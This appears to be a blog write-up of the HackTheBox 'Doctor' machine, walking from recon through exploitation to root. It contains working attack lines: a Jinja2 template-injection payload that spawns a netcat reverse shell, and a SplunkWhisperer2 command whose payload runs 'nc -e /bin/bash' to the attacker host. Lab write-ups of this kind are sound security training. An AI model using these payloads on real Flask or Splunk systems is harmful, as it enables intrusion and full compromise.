Welcome back, this time we will be taking on the HackTheBox Doctor challenge, it seems to be an easy BOX, but perhaps not too easy. Let's get started!

We kick off with our classical nmap scan:

nmap -A -T4 10.10.10.209

Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-10 10:32 CEST
Nmap scan report for 10.10.10.209
Host is up (0.079s latency).
Not shown: 997 filtered ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http     Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Doctor
8089/tcp open  ssl/http Splunkd httpd
|_http-title: splunkd
| ssl-cert: Subject: commonName=SplunkServerDefaultCert/organizationName=SplunkUser
| Not valid before: 2020-09-06T15:57:27
|_Not valid after:  2023-09-06T15:57:27
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 81.21 seconds

Well, three open ports this time, 22 (ssh), 80 (http) and the 8089 in https.

The portal seems to be in the background (guess what) medical!

There's a possible list of users:

Additional information can be found on the page for the subscribe to the newsletter (where nothing seems to happen) and the template of the portal that seems to be made by Colorlib. The wappalizer plugin on the firefox browser doesn't highlight any particular technology.

The portal on the secure channel (port 8089) seems to be an instance of the splunk platform (version and build 8.0.5), but the link inside seems to request an authentication or bring to a broken link.

Before to proceed, I try with a dirb scan, in order to identify some interesting hidden folders and files.

┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $dirb http://10.10.10.209/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Oct 10 10:50:15 2020
URL_BASE: http://10.10.10.209/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: http://10.10.10.209/ ----
==> DIRECTORY: http://10.10.10.209/css/                                                                                                                                                                 
==> DIRECTORY: http://10.10.10.209/fonts/                                                                                                                                                               
==> DIRECTORY: http://10.10.10.209/images/                                                                                                                                                              
+ http://10.10.10.209/index.html (CODE:200|SIZE:19848)                                                                                                                                                  
==> DIRECTORY: http://10.10.10.209/js/                                                                                                                                                                  
+ http://10.10.10.209/server-status (CODE:403|SIZE:277)                                                                                                                                                 
                                                                                                                                                                                                        
---- Entering directory: http://10.10.10.209/css/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                        
---- Entering directory: http://10.10.10.209/fonts/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                        
---- Entering directory: http://10.10.10.209/images/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                                                                                                                                                        
---- Entering directory: http://10.10.10.209/js/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.                        
    (Use mode '-w' if you want to scan it anyway)
                                                                               
-----------------
END_TIME: Sat Oct 10 11:00:49 2020
DOWNLOADED: 4612 - FOUND: 2

I try to finish the initial analysis by performing a UDP scan, but nothing.

┌─[✗]─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $sudo nmap -sU 10.10.10.209
[sudo] password for in7rud3r: 
Swipe your right index finger across the fingerprint reader
Starting Nmap 7.80 ( https://nmap.org ) at 2020-10-10 11:18 CEST
Nmap scan report for 10.10.10.209
Host is up (0.050s latency).
Not shown: 998 open|filtered ports
PORT   STATE  SERVICE
22/udp closed ssh
80/udp closed http

Nmap done: 1 IP address (1 host up) scanned in 19.01 seconds

Alson on the portal under the https protocol seems to highlight nothing interesting with dirb.

┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $dirb https://10.10.10.209:8089/

-----------------
DIRB v2.22    
By The Dark Raver
-----------------

START_TIME: Sat Oct 10 11:17:03 2020
URL_BASE: https://10.10.10.209:8089/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt

-----------------

GENERATED WORDS: 4612                                                          

---- Scanning URL: https://10.10.10.209:8089/ ----
+ https://10.10.10.209:8089/robots.txt (CODE:200|SIZE:26)                                                                                                                                               
+ https://10.10.10.209:8089/services (CODE:401|SIZE:130)                                                                                                                                                
+ https://10.10.10.209:8089/v1 (CODE:200|SIZE:2178)                                                                                                                                                     
+ https://10.10.10.209:8089/v2 (CODE:200|SIZE:2178)                                                                                                                                                     
+ https://10.10.10.209:8089/v3 (CODE:200|SIZE:2178)                                                                                                                                                     
+ https://10.10.10.209:8089/v4 (CODE:200|SIZE:2178)                                                                                                                                                     
                                                                                                                                                                                                        
-----------------
END_TIME: Sat Oct 10 11:32:19 2020
DOWNLOADED: 4612 - FOUND: 6

I decide to proceed for a subdomain scan, that doesn't highlight anything interesting, if not the classic www. Anyway, you can find my subdomain technique in the others articles on the secjuice portal, but I provide here the steps to reproduce it too.

First, add the doctor.htb and doctors.htb portals (I'm not sure on which one will be correct) on your /etc/hosts file.

┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $cat /etc/hosts
127.0.0.1       localhost
127.0.1.1       kali
10.10.10.209    doctor.htb doctors.htb

[...]

Then edit the /etc/dnsmasq.conf file in order to define the domain target you intend to scan (as you can imagine, this provide the use of the dnsmasq service from your machine, consider to instal if you have not yet done).

┌─[✗]─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $grep -v '#' /etc/dnsmasq.conf | grep .
address=/doctor.htb/10.10.10.209
address=/doctors.htb/10.10.10.209
listen-address=::1,127.0.0.1,10.10.14.37

Now is time to edit the file /etc/resolv.conf, to instruct your computer to use itself as default DNS.

┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $cat /etc/resolv.conf 
# Generated by NetworkManager
search homenet.telecomitalia.it
# nameserver 192.168.1.1
nameserver 127.0.0.1

Finally (re)start the service.

┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $systemctl restart dnsmasq.service
┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $service dnsmasq status
● dnsmasq.service - dnsmasq - A lightweight DHCP and caching DNS server
     Loaded: loaded (/lib/systemd/system/dnsmasq.service; disabled; vendor preset: disabled)
     Active: active (running) since Sat 2020-10-10 11:52:06 CEST; 12s ago
    Process: 33473 ExecStartPre=/etc/init.d/dnsmasq checkconfig (code=exited, status=0/SUCCESS)
    Process: 33481 ExecStart=/etc/init.d/dnsmasq systemd-exec (code=exited, status=0/SUCCESS)
    Process: 33490 ExecStartPost=/etc/init.d/dnsmasq systemd-start-resolvconf (code=exited, status=0/SUCCESS)
   Main PID: 33489 (dnsmasq)
      Tasks: 1 (limit: 4545)
     Memory: 2.6M
     CGroup: /system.slice/dnsmasq.service
             └─33489 /usr/sbin/dnsmasq -x /run/dnsmasq/dnsmasq.pid -u dnsmasq -7 /etc/dnsmasq.d,.dpkg-dist,.dpkg-old,.dpkg-new --local-service --trust-anchor=.,20326,8,2,e06d44b80b8f1d39a95c0b0d7c65d0>

And you can proceed with the scan now:

┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $wfuzz -c -w /usr/share/dnsrecon/subdomains-top1mil-5000.txt -u http://FUZZ.doctors.htb --hh 19848
 /usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.0.1 - The Web Fuzzer                         *
********************************************************

Target: http://FUZZ.doctors.htb/
Total requests: 5000

===================================================================
ID           Response   Lines    Word     Chars       Payload                                                                                                                                 
===================================================================

000000001:   302        3 L      24 W     237 Ch      "www"                                                                                                                                   
000001176:   302        3 L      24 W     237 Ch      "WWW"                                                                                                                                   

 /usr/lib/python3/dist-packages/wfuzz/wfuzz.py:48: UserWarning:Fatal exception: Pycurl error 6: Could not resolve host: m..doctors.htb
Total time: 233.4621
Processed Requests: 2687
Filtered Requests: 2685
Requests/sec.: 11.50936

You can provide the same scan for the doctor.htb domain, but nothing will come out. Well, before to proceed, don't forget to stop the dnsmasq service, restore original configuration and add the new domains in the hosts file.

Well, on the new portal an admin section appears. I tried to search for a SQL Injection or XSS vulnerability, but nothing seems to emerge (at least on a first approach), I discover that particular addresses on the body of the post or in the title provide an invalid error message or a 404 http code; the post published can be deleted and updated. Follow some screenshot about the various section of the portal.

Looking inside the code I find an interesting comment that hide a nice url of the portal:

[...]
    <div class="navbar-nav mr-auto">
      <a class="nav-item nav-link" href="/home">Home</a>
      <!--archive still under beta testing<a class="nav-item nav-link" href="/archive">Archive</a>-->
    </div>
    <!-- Navbar Right Side -->
    <div class="navbar-nav">
[...]

Navigating the url, can be visible the published posts in an xml format. Should be the next step to capture the flag... or a simple rabbit hole. If this is the right way, should be a sort of xss vulnerability. Finally, I remember that my wappalyzer plugin, suggest that the portal is done using flask. Good, try to find exploits on that. Searching for "flask inject exploit" I found this:

RCE with Flask Jinja Template Injection
I got invite for private program on bugcrowd. Program do not have huge scope , just a single app with lots of features to test. I usually likes this kind of programs as I am not that good with recon…

And introducing this in the title of the post, I ensure that the vulnerability is really present: {{7*7}}

Weel, searching again for something most specific:

Exploring SSTI in Flask/Jinja2, Part II
Exploring SSTI in Flask/Jinja2, Part II

Well, I understand that I can list the class I can use to exploit the machine and that I need the "subprocess.Popen" call and method to spawn some process. Here a reference of the "subprocess.Popen" and the params that I need to pass to the method:

subprocess — Subprocess management — Python 3.9.0 documentation

Listing the class on the remote target I discover that this is in the position number 407, so my payload should be something like this.

{{ ''.__class__.__mro__[1].__subclasses__()[407](["/bin/bash", "-c", "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.60 4444 >/tmp/f"]) }}

Putting this inside the title of a new post and launching the archive url, waiting in a shell for a connection.... I have my remote shell.

┌─[✗]─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)/attack/ws]  
└──╼ $nc -lvp 4444
listening on [any] 4444 ...
connect to [10.10.14.37] from doctor.htb [10.10.10.209] 44262
/bin/sh: 0: can't access tty; job control turned off
$ whoami
web
$

As you can see, I have a non tty shell, to spawn a good shell I executed this command, but I ave another problem, all my command and character I digit are duplicated (but the command works):

$ python3 -c 'import pty; pty.spawn("/bin/sh")'
$ llss

bin    dev   lib    libx32      mnt   root  snap      sys  var
boot   etc   lib32  lost+found  opt   run   srv       tmp
cdrom  home  lib64  media       proc  sbin  swapfile  usr

To solve also this simple issue, launch the command "stty -echo"

Being a linux system, I proceed to load (or download, depending on where you look at it) the linpeas.sh script and I discover some interesting things.

[...]
[+] Readable files belonging to root and readable by me but not world readable
-rw-r----- 1 root adm 511 Okt 10 23:46 /var/log/cups/error_log.1
-rw-r----- 1 root adm 109 Aug 13 08:13 /var/log/cups/error_log.4.gz
-rw-r----- 1 root adm 224 Okt 10 20:31 /var/log/cups/access_log.1
-rw-r----- 1 root adm 204 Sep 18 00:00 /var/log/cups/access_log.7.gz
-rw-r----- 1 root adm 267 Sep 23 15:42 /var/log/cups/access_log.3.gz
-rw-r----- 1 root adm 615 Okt 11 13:00 /var/log/cups/error_log
-rw-r----- 1 root adm 355 Sep 28 15:07 /var/log/cups/access_log.2.gz
-rw-r----- 1 root adm 108 Sep 28 12:12 /var/log/cups/error_log.2.gz
-rw-r----- 1 root adm 118 Sep 15 11:56 /var/log/cups/error_log.3.gz
-rw-r----- 1 root adm 536 Okt 11 00:00 /var/log/cups/access_log
-rw-r----- 1 root adm 190 Sep 19 00:00 /var/log/cups/access_log.6.gz
-rw-r----- 1 root adm 219 Sep 22 10:40 /var/log/cups/access_log.5.gz
-rw-r----- 1 root adm 256 Sep 23 10:46 /var/log/cups/access_log.4.gz
-rw-r----- 1 root adm 460 Sep 15 00:00 /var/log/apache2/error.log.10.gz
-rw-r----- 1 root adm 629 Sep 16 00:00 /var/log/apache2/error.log.9.gz
-rw-r----- 1 root adm 323 Aug 21 13:00 /var/log/apache2/access.log.11.gz
-rw-r----- 1 root adm 543742 Okt 11 12:59 /var/log/apache2/error.log
-rw-r----- 1 root adm 21578 Sep 17 16:23 /var/log/apache2/backup
-rw-r----- 1 root adm 668 Sep 28 15:02 /var/log/apache2/access.log.2.gz
-rw-r----- 1 root adm 352 Sep 19 00:00 /var/log/apache2/error.log.6.gz
-rw-r----- 1 root adm 211816 Okt 11 00:00 /var/log/apache2/error.log.1
-rw-r----- 1 root adm 40844063 Okt 10 23:59 /var/log/apache2/access.log.1
-rw-r----- 1 root adm 341 Sep  5 00:00 /var/log/apache2/error.log.14.gz
-rw-r----- 1 root adm 1092 Sep 23 15:42 /var/log/apache2/error.log.3.gz
-rw-r----- 1 root adm 655 Sep 22 10:40 /var/log/apache2/error.log.5.gz
-rw-r----- 1 root adm 73602336 Okt 11 12:59 /var/log/apache2/access.log
-rw-r----- 1 root adm 664054 Sep 15 14:27 /var/log/apache2/access.log.6.gz
-rw-r----- 1 root adm 384 Sep 14 10:07 /var/log/apache2/access.log.7.gz
-rw-r----- 1 root adm 3018 Sep  7 17:24 /var/log/apache2/access.log.8.gz
-rw-r----- 1 root adm 424 Sep 18 00:00 /var/log/apache2/error.log.7.gz
-rw-r----- 1 root adm 1338 Sep  6 22:46 /var/log/apache2/access.log.9.gz
-rw-r----- 1 root adm 846 Sep 22 13:03 /var/log/apache2/error.log.4.gz
-rw-r----- 1 root adm 428 Sep 17 00:00 /var/log/apache2/error.log.8.gz
-rw-r----- 1 root adm 1493 Sep 23 15:20 /var/log/apache2/access.log.3.gz
-rw-r----- 1 root adm 3951 Sep 22 12:58 /var/log/apache2/access.log.4.gz
-rw-r----- 1 root adm 789 Sep 28 15:07 /var/log/apache2/error.log.2.gz
-rw-r----- 1 root adm 680 Sep  5 11:58 /var/log/apache2/error.log.13.gz
-rw-r----- 1 root adm 270 Aug 18 12:48 /var/log/apache2/access.log.12.gz
-rw-r----- 1 root adm 537 Sep  6 22:47 /var/log/apache2/error.log.12.gz
-rw-r----- 1 root adm 1266 Sep  5 11:58 /var/log/apache2/access.log.10.gz
-rw-r----- 1 root adm 476 Sep  7 17:46 /var/log/apache2/error.log.11.gz
-rw-r----- 1 root adm 1341 Sep 19 19:17 /var/log/apache2/access.log.5.gz
-rw-r----- 1 root adm 320 Sep  6 16:29 /var/log/apt/term.log.1.gz
-rw-r----- 1 root adm 2932 Aug 13 09:16 /var/log/apt/term.log.2.gz
-rw-r----- 1 root adm 0 Sep  7 12:13 /var/log/apt/term.log
[...]
 -> Extracting tables from /home/web/blog/flaskblog/site.db (limit 20)
  --> Found interesting column names in user (output limit 10)
CREATE TABLE user (
        id INTEGER NOT NULL, 
        username VARCHAR(20) NOT NULL, 
        email VARCHAR(120) NOT NULL, 
        image_file VARCHAR(20) NOT NULL, 
        password VARCHAR(60) NOT NULL, 
        PRIMARY KEY (id), 
        UNIQUE (username), 
        UNIQUE (email)
)
1, admin, admin@doctor.htb, default.gif, $2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWsg4IznjI0S
[...]
[+] Finding *password* or *credential* files in home (limit 70)
/opt/splunkforwarder/etc/system/README/fshpasswords.conf.example
/opt/splunkforwarder/etc/system/README/fshpasswords.conf.spec
/opt/splunkforwarder/etc/system/README/passwords.conf.example
/opt/splunkforwarder/etc/system/README/passwords.conf.spec 
[...]
/home/web/hej:/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mssql/pyodbc.py:    dsn=mydsn;UID=user;PWD=pass
/home/web/hej:/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mysql/pyodbc.py:        'PWD=(whatever);'
[...]
/home/web/.local/lib/python3.8/site-packages/flask_bcrypt.py:            password = bytes(password, 'utf-8')
/home/web/.local/lib/python3.8/site-packages/flask_bcrypt.py:        password = 'hunter2'
/home/web/.local/lib/python3.8/site-packages/flask_bcrypt.py:            password = password.encode('utf-8')
[...]
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/connectors/pyodbc.py:                connectors.append("PWD=%s" % keys.pop("password", ""))
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mssql/pyodbc.py:    dsn=mydsn;UID=user;PWD=pass
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mysql/base.py:  table.select(table.c.password==func.md5('plaintext'))
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mysql/mysqldb.py:            database="db", username="user", password="passwd"
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mysql/oursql.py:            database="db", username="user", password="passwd"
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mysql/pyodbc.py:        'PWD=(whatever);'
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/oracle/cx_oracle.py:            opts["password"] = url.password
[...]
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/engine/url.py:    :param password: database password.
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/engine/url.py:        password=None,
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/engine/url.py:        return self.__to_string__(hide_password=False)
[...]

In the extract it is possible to identify a series of log files accessible by the user with whom I am connected, the creation of a table with the relative insertion of a record complete with a password and some files containing possible information on various credentials.

I start from the encrypted password inserted in the table, trying to reverse using hashcat, but after a long time, understand that this is the wrong way.

┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)/attack/ws]  
└──╼ $hashcat -m 3200 ./fl.hash /usr/share/wordlists/rockyou.txt 
hashcat (v6.1.1) starting...

OpenCL API (OpenCL 1.2 pocl 1.5, None+Asserts, LLVM 9.0.1, RELOC, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
=============================================================================================================================
* Device #1: pthread-Intel(R) Core(TM)2 Duo CPU     T8300  @ 2.40GHz, 2834/2898 MB (1024 MB allocatable), 2MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 72

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 64 MB

Dictionary cache hit:
* Filename..: /usr/share/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => s

Session..........: hashcat
Status...........: Running
Hash.Name........: bcrypt $2*$, Blowfish (Unix)
Hash.Target......: $2b$12$Tg2b8u/elwAyfQOvqvxJgOTcsbnkFANIDdv6jVXmxiWs...znjI0S
Time.Started.....: Sun Oct 11 14:39:14 2020 (4 hours, 16 mins)
Time.Estimated...: Mon Nov 16 01:41:44 2020 (35 days, 7 hours)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:        5 H/s (6.66ms) @ Accel:4 Loops:16 Thr:1 Vec:4
Recovered........: 0/1 (0.00%) Digests
Progress.........: 71832/14344385 (0.50%)
Rejected.........: 0/71832 (0.00%)
Restore.Point....: 71832/14344385 (0.50%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:880-896
Candidates.#1....: 161282 -> 160295

[s]tatus [p]ause [b]ypass [c]heckpoint [q]uit => 

Yea, I leave my pc works for a long time. So, next step is to check all the file in the log folder I can reach.

┌─[in7rud3r@kali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)/attack/ws]  
└──╼ $grep -i password out_lpeas.txt | more
gdm-password Not Found
/lib/systemd/system/systemd-ask-password-console.service is executing some relative path
/lib/systemd/system/systemd-ask-password-wall.service is executing some relative path
/usr/lib/systemd/system/systemd-ask-password-console.service is executing some relative path
/usr/lib/systemd/system/systemd-ask-password-wall.service is executing some relative path
[+] Do not forget to test 'su' as any other user with shell: without password and with their names as password (I can't do it...)
[+] Do not forget to execute 'sudo -l' without password or with valid password (if you know it)!!
[+] Password policy
The password hash is from the {SSHA} to 'structural'
PasswordAuthentication yes
PermitEmptyPasswords no
CREATE TABLE "nfo:ArchiveItem" (ID INTEGER NOT NULL PRIMARY KEY, "nfo:isPasswordProtected" INTEGER, "nfo:isPasswordProtected:graph" INTEGER)
CREATE TABLE "nfo:ArchiveItem" (ID INTEGER NOT NULL PRIMARY KEY, "nfo:isPasswordProtected" INTEGER, "nfo:isPasswordProtected:graph" INTEGER)
Searching possible passwords inside /home/web/.bash_history (limit 100)
Searching possible passwords inside /home/web/.local/share/nano/search_history (limit 100)
Searching possible passwords inside /home/web/.python_history (limit 100)
[+] Searching passwords in config PHP files
[+] Finding passwords inside logs (limit 70)
/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"
[+] Finding *password* or *credential* files in home (limit 70)
/opt/splunkforwarder/etc/system/README/fshpasswords.conf.example
/opt/splunkforwarder/etc/system/README/fshpasswords.conf.spec
/opt/splunkforwarder/etc/system/README/passwords.conf.example
/opt/splunkforwarder/etc/system/README/passwords.conf.spec 
[+] Finding possible password variables inside key folders (limit 70)
[+] Finding possible password in config files
/home/web/blog/flaskblog/users/routes.py:        user = User(username=form.username.data, email=form.email.data, password=hashed_password)
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mssql/mxodbc.py:    :connectstring: mssql+mxodbc://<username>:<password>@<dsnname>
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mssql/pyodbc.py:    :connectstring: mssql+pyodbc://<username>:<password>@<dsnname>
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mysql/mysqldb.py:            database="db", username="user", password="passwd"
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mysql/oursql.py:            database="db", username="user", password="passwd"
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/mysql/pyodbc.py:    :connectstring: mysql+pyodbc://<username>:<password>@<dsnname>
/home/web/.local/lib/python3.8/site-packages/sqlalchemy/dialects/sybase/mxodbc.py:    :connectstring: sybase+mxodbc://<username>:<password>@<dsnname>

Initially I ignored what later turned out to be the real information, probably because the syntax of the call that was made misled me, indicating what was the password with a variable name that seemed to indicate something else. The line in question is the following.

/var/log/apache2/backup:10.10.14.4 - - [05/Sep/2020:11:17:34 +2000] "POST /reset_password?email=Guitar123" 500 453 "http://doctor.htb/reset_password"

Yes, I admit I hopelessly tried using "Guitar123" as a password, but when I try to impersonate the shaun user with this password, i became shaun, and...

shaun@doctor:~$ cat user.txt
0******************************3

An the first flag is mine. Well, I have no possibility to execute commands with root privileges without provide the password.

shaun@doctor:~$ sudo -l
[sudo] password for shaun: Guitar123

Sorry, user shaun may not run sudo on doctor.

I come back to linpeas also for this user, but found nothing interesting. Anyway, next thing to check is the process running with root privileges and I found something I had forgotten and haven't used/exploited yet.

shaun@doctor:~$ ps -aux | grep splunk
root        1135  0.6  2.1 329476 87680 ?        Sl   Okt10  10:18 splunkd -p 8089 start
root        1137  0.0  0.2  77664  9300 ?        Ss   Okt10   0:00 [splunkd pid=1135] splunkd -p 8089 start [process-runner]
root       98235  0.0  0.0   2608   600 ?        S    Okt10   0:00 /bin/sh /opt/splunkforwarder/etc/apps/_PWN_APP_/bin/pwn.bat
root      229299  0.0  0.0   2608   608 ?        S    Okt10   0:00 /bin/sh /opt/splunkforwarder/etc/apps/_PWN_APP_/bin/pwn.bat
root      409199  0.0  0.0   2608   540 ?        S    00:54   0:00 /bin/sh /opt/splunkforwarder/etc/apps/_PWN_APP_/bin/pwn.bat
root      510969  0.0  0.0   2608   604 ?        S    12:14   0:00 /bin/sh /opt/splunkforwarder/etc/apps/_PWN_APP_/bin/pwn.bat
root      890685  0.0  0.0   2608   604 ?        S    19:26   0:00 /bin/sh /opt/splunkforwarder/etc/apps/_PWN_APP_/bin/pwn.bat
root      938309  0.0  0.0   2608   532 ?        S    20:30   0:00 /bin/sh /opt/splunkforwarder/etc/apps/_PWN_APP_/bin/pwn.bat
shaun     987358  0.0  0.0  17668   660 pts/18   R+   21:12   0:00 grep --color=auto splunk

Well, I discover that I can use the shaun's credential to access the portal on the 8089 port. I pass much time to search for exploits on exploit-db and on metasploit-framework, I found something but nothing appliable with success. I report here what on metasploit-framework, but noone of the works fine.

msf5 > search splunk

Matching Modules
================

   #  Name                                       Disclosure Date  Rank       Check  Description
   -  ----                                       ---------------  ----       -----  -----------
   0  auxiliary/scanner/http/splunk_web_login                     normal     No     Splunk Web Interface Login Utility
   1  exploit/multi/http/splunk_mappy_exec       2011-12-12       excellent  Yes    Splunk Search Remote Code Execution
   2  exploit/multi/http/splunk_upload_app_exec  2012-09-27       good       Yes    Splunk Custom App Remote Code Execution

Anyway, I continue on that way and, searching for "splunk escalation privileges", something go out.

cnotin/SplunkWhisperer2
Local privilege escalation, or remote code execution, through Splunk Universal Forwarder (UF) misconfigurations - cnotin/SplunkWhisperer2

I try the remote method, I have no success at the first try, but I understand that should be the right way.

┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)/attack/SplunkWhisperer2/PySplunkWhisperer2] (master) 
└──╼ $python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.15.20 --lport 4445 --username shaun --password Guitar123
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmpbphi4cg0.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.15.20:4445/
10.10.10.209 - - [13/Oct/2020 19:55:22] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

[.] Removing app...
[+] App removed
[+] Stopped HTTP server
Bye!

I come back on the article page and follow the link inside to study it and understand that probably I have to pass also the payload.

┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)/attack/SplunkWhisperer2/PySplunkWhisperer2] (master) 
└──╼ $python3 PySplunkWhisperer2_remote.py --host 10.10.10.209 --port 8089 --lhost 10.10.15.20 --username shaun --password Guitar123 --payload 'nc 10.10.15.20 4444 -e /bin/bash'
Running in remote mode (Remote Code Execution)
[.] Authenticating...
[+] Authenticated
[.] Creating malicious app bundle...
[+] Created malicious app bundle in: /tmp/tmphen7u8ik.tar
[+] Started HTTP server for remote mode
[.] Installing app from: http://10.10.15.20:8181/
10.10.10.209 - - [13/Oct/2020 20:07:41] "GET / HTTP/1.1" 200 -
[+] App installed, your code should be running now!

Press RETURN to cleanup

And this time my shell spawn correct.

┌─[✗]─[in7rud3r@Mykali]─[~/Dropbox/hackthebox/_10.10.10.209 - Doctor (lin)]  
└──╼ $nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.15.20] from (UNKNOWN) [10.10.10.209] 44120
/bin/sh: 0: can't access tty; job control turned off
# whoami
root
# cat /root/root.txt
1******************************6

Root flag... that's good and that's all folks... have a nice day and see you on the next writeup.

The awesome image used in this article was created by Oscar Moctezuma.